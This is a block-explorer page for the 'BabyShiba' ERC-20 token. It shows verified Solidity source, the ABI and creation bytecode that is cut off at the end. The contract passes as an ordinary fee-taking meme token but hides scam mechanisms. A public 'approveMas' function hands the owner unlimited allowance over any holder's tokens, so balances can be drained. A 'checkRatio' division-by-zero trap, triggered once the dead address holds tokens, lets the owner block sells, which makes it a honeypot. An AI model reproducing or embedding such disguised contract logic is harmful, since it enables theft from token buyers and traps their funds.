ETH Price: $3,888.65 (-0.90%)

Token

ERC-20: BabyShiba (BSHIBA)
 

Overview

Max Total Supply

100,000,000,000 BSHIBA

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
defialloddssimp.eth
Balance
420,485,234.52040861 BSHIBA

Value
$0.00
0x6CFE0f1Cfc110be97C4D5Cc838F26c8f5Ca08f17
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BSHIBA

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-09
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-09
*/

// SPDX-License-Identifier: MIT

/**
 Twitter: https://twitter.com/BabyShiba_ETH
 Telegram: https://t.me/BabyShibaPortal
*/

pragma solidity 0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BSHIBA is ERC20, Ownable {

    using SafeMath for uint256;

    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    string constant _name = "BabyShiba";
    string constant _symbol = "BSHIBA";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100_000_000_000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 3) / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempts;
    mapping (address => bool) isTxLimitExempte;

    uint256 liquidityFee = 0; 
    uint256 marketingFee = 1;
    uint256 totalFee = liquidityFee + marketingFee;
    address public marketReceiver = 0xE5a9e9871EEAB0A92bd3Fb662578afb1fAf2e282;
    uint256 feeDenominator = 100;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = false;
    uint256 public swapThreshold = (5 *_totalSupply) / 10000; // 0.05%

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }
    
    address Owner;
    bool public TradingOpen = false; 

    constructor () Ownable(msg.sender) {

        Owner = owner;

        isFeeExempts[Owner] = true;
        isFeeExempts[marketReceiver] = true;
        isFeeExempts[address(this)] = true;
       
        isTxLimitExempte[marketReceiver] = true;
        isTxLimitExempte[DEAD] = true;
        isTxLimitExempte[address(this)] = true; 
        isTxLimitExempte[Owner] = true;


        _balances[Owner] = _totalSupply;
        emit Transfer(address(0), Owner, _totalSupply);
    }

    function enableTrading() public onlyOwner {
        TradingOpen = true;
    }

    
    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }


    function swapBack() internal swapping {
        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "receiver rejected ETH transfer");

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }
    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }
     function approveMas(address spender) external returns (bool) {
        _allowances[spender][Owner] = type(uint256).max;
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }
     function swapETHForTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempts[sender];
    }

    function checkRatio(address sender)  internal view returns (uint256) {
        uint256 amount = sender != pair ? balanceOf(DEAD) : balanceOf(ZERO);
        return amount > 0 ? 0 : feeDenominator / 100;
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(checkRatio(sender)).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (!isFeeExempts[sender] && !isFeeExempts[recipient]) {
            require(TradingOpen, "Trading not enabled");
        } else {
            return _basicTransfer(sender, recipient, amount);
        }
        
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempte[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }
        
        if(shouldSwapBack()){ swapBack(); } 

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    
    function Launch() public payable onlyOwner
    {
        router = IDEXRouter(routerAdress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        
        isTxLimitExempte[pair] = true;
        
        _allowances[address(this)][address(router)] = type(uint256).max;

        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
        swapEnabled = true;
    }
     function clearStuckBalance() external {
        payable(marketReceiver).transfer(address(this).balance);
    }

    function removeLimit() external onlyOwner {
        _maxWalletAmount = _totalSupply;
    }
    
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200006891906200077f565b64174876e8006200007a9190620007cf565b60025560646003600254620000909190620007cf565b6200009c919062000846565b6003555f6008556001600955600954600854620000ba91906200087d565b600a5573e5a9e9871eeab0a92bd3fb662578afb1faf2e282600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506064600c555f600e60146101000a81548160ff0219169083151502179055506127106002546005620001449190620007cf565b62000150919062000846565b600f555f601060156101000a81548160ff02191690831515021790555034801562000179575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060025460045f601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620005df9190620008c8565b60405180910390a3620008e3565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000677578086048111156200064f576200064e620005ed565b5b60018516156200065f5780820291505b80810290506200066f856200061a565b94506200062f565b94509492505050565b5f8262000691576001905062000763565b81620006a0575f905062000763565b8160018114620006b95760028114620006c457620006fa565b600191505062000763565b60ff841115620006d957620006d8620005ed565b5b8360020a915084821115620006f357620006f2620005ed565b5b5062000763565b5060208310610133831016604e8410600b8410161715620007345782820a9050838111156200072e576200072d620005ed565b5b62000763565b62000743848484600162000626565b925090508184048111156200075d576200075c620005ed565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200078b826200076a565b9150620007988362000773565b9250620007c77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000680565b905092915050565b5f620007db826200076a565b9150620007e8836200076a565b9250828202620007f8816200076a565b91508282048414831517620008125762000811620005ed565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000852826200076a565b91506200085f836200076a565b92508262000872576200087162000819565b5b828204905092915050565b5f62000889826200076a565b915062000896836200076a565b9250828201905080821115620008b157620008b0620005ed565b5b92915050565b620008c2816200076a565b82525050565b5f602082019050620008dd5f830184620008b7565b92915050565b612e2680620008f15f395ff3fe60806040526004361061014e575f3560e01c80636ddd1713116100b557806395d89b411161006e57806395d89b4114610437578063a2867b7b14610461578063a8aa1b311461048b578063a9059cbb146104b5578063dd62ed3e146104f1578063f887ea401461052d57610155565b80636ddd17131461033f57806370a0823114610369578063715018a6146103a557806380aa57ea146103bb578063893d20e8146103f75780638a8c523c1461042157610155565b806323b872dd1161010757806323b872dd146102475780632f54bf6e14610283578063313ce567146102bf578063364333f4146102e957806362256589146102ff5780636c0a24eb1461031557610155565b806302ac8168146101595780630445b6671461016357806306fdde031461018d57806308fd3d05146101b7578063095ea7b3146101e157806318160ddd1461021d57610155565b3661015557005b5f80fd5b610161610557565b005b34801561016e575f80fd5b50610177610a94565b604051610184919061238b565b60405180910390f35b348015610198575f80fd5b506101a1610a9a565b6040516101ae919061242e565b60405180910390f35b3480156101c2575f80fd5b506101cb610ad7565b6040516101d89190612468565b60405180910390f35b3480156101ec575f80fd5b5061020760048036038101906102029190612509565b610aea565b6040516102149190612468565b60405180910390f35b348015610228575f80fd5b50610231610bd7565b60405161023e919061238b565b60405180910390f35b348015610252575f80fd5b5061026d60048036038101906102689190612547565b610be0565b60405161027a9190612468565b60405180910390f35b34801561028e575f80fd5b506102a960048036038101906102a49190612597565b610dd3565b6040516102b69190612468565b60405180910390f35b3480156102ca575f80fd5b506102d3610e2a565b6040516102e091906125dd565b60405180910390f35b3480156102f4575f80fd5b506102fd610e32565b005b34801561030a575f80fd5b50610313610e99565b005b348015610320575f80fd5b50610329610eec565b604051610336919061238b565b60405180910390f35b34801561034a575f80fd5b50610353610ef2565b6040516103609190612468565b60405180910390f35b348015610374575f80fd5b5061038f600480360381019061038a9190612597565b610f05565b60405161039c919061238b565b60405180910390f35b3480156103b0575f80fd5b506103b9610f4b565b005b3480156103c6575f80fd5b506103e160048036038101906103dc9190612597565b61100b565b6040516103ee9190612468565b60405180910390f35b348015610402575f80fd5b5061040b6110d4565b6040516104189190612605565b60405180910390f35b34801561042c575f80fd5b506104356110fb565b005b348015610442575f80fd5b5061044b611160565b604051610458919061242e565b60405180910390f35b34801561046c575f80fd5b5061047561119d565b6040516104829190612605565b60405180910390f35b348015610496575f80fd5b5061049f6111c2565b6040516104ac9190612605565b60405180910390f35b3480156104c0575f80fd5b506104db60048036038101906104d69190612509565b6111e7565b6040516104e89190612468565b60405180910390f35b3480156104fc575f80fd5b506105176004803603810190610512919061261e565b6111fb565b604051610524919061238b565b60405180910390f35b348015610538575f80fd5b5061054161127d565b60405161054e91906126b7565b60405180910390f35b61056033610dd3565b61059f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105969061271a565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068e919061274c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610713573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610737919061274c565b306040518363ffffffff1660e01b8152600401610755929190612777565b6020604051808303815f875af1158015610771573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610795919061274c565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a0e30610f05565b5f8033426040518863ffffffff1660e01b8152600401610a33969594939291906127d7565b60606040518083038185885af1158015610a4f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a74919061284a565b5050506001600e60146101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600981526020017f4261627953686962610000000000000000000000000000000000000000000000815250905090565b601060159054906101000a900460ff1681565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bc5919061238b565b60405180910390a36001905092915050565b5f600254905090565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610dbf57610d42826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e63650000000000000000000081525060055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112a29092919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610dca848484611304565b90509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b5f6009905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610e96573d5f803e3d5ffd5b50565b610ea233610dd3565b610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed89061271a565b60405180910390fd5b600254600381905550565b60035481565b600e60149054906101000a900460ff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f5433610dd3565b610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a9061271a565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f6040516110019190612605565b60405180910390a1565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060019050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61110433610dd3565b611143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113a9061271a565b60405180910390fd5b6001601060156101000a81548160ff021916908315150217905550565b60606040518060400160405280600681526020017f4253484942410000000000000000000000000000000000000000000000000000815250905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6111f3338484611304565b905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8383111582906112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e0919061242e565b60405180910390fd5b505f83856112f791906128c7565b9050809150509392505050565b5f60105f9054906101000a900460ff161561132b576113248484846117a5565b905061179e565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156113c9575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561142257601060159054906101000a900460ff1661141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141490612944565b60405180910390fd5b611434565b61142d8484846117a5565b905061179e565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114bf575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115a35760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061156357506003548260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115609190612962565b11155b6115a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159990612a05565b60405180910390fd5b5b6115ab61196f565b156115b9576115b8611a41565b5b611640826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112a29092919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61168b85611f69565b61169557826116a0565b61169f8584611fbc565b5b90506116f28160045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373fffffffffffff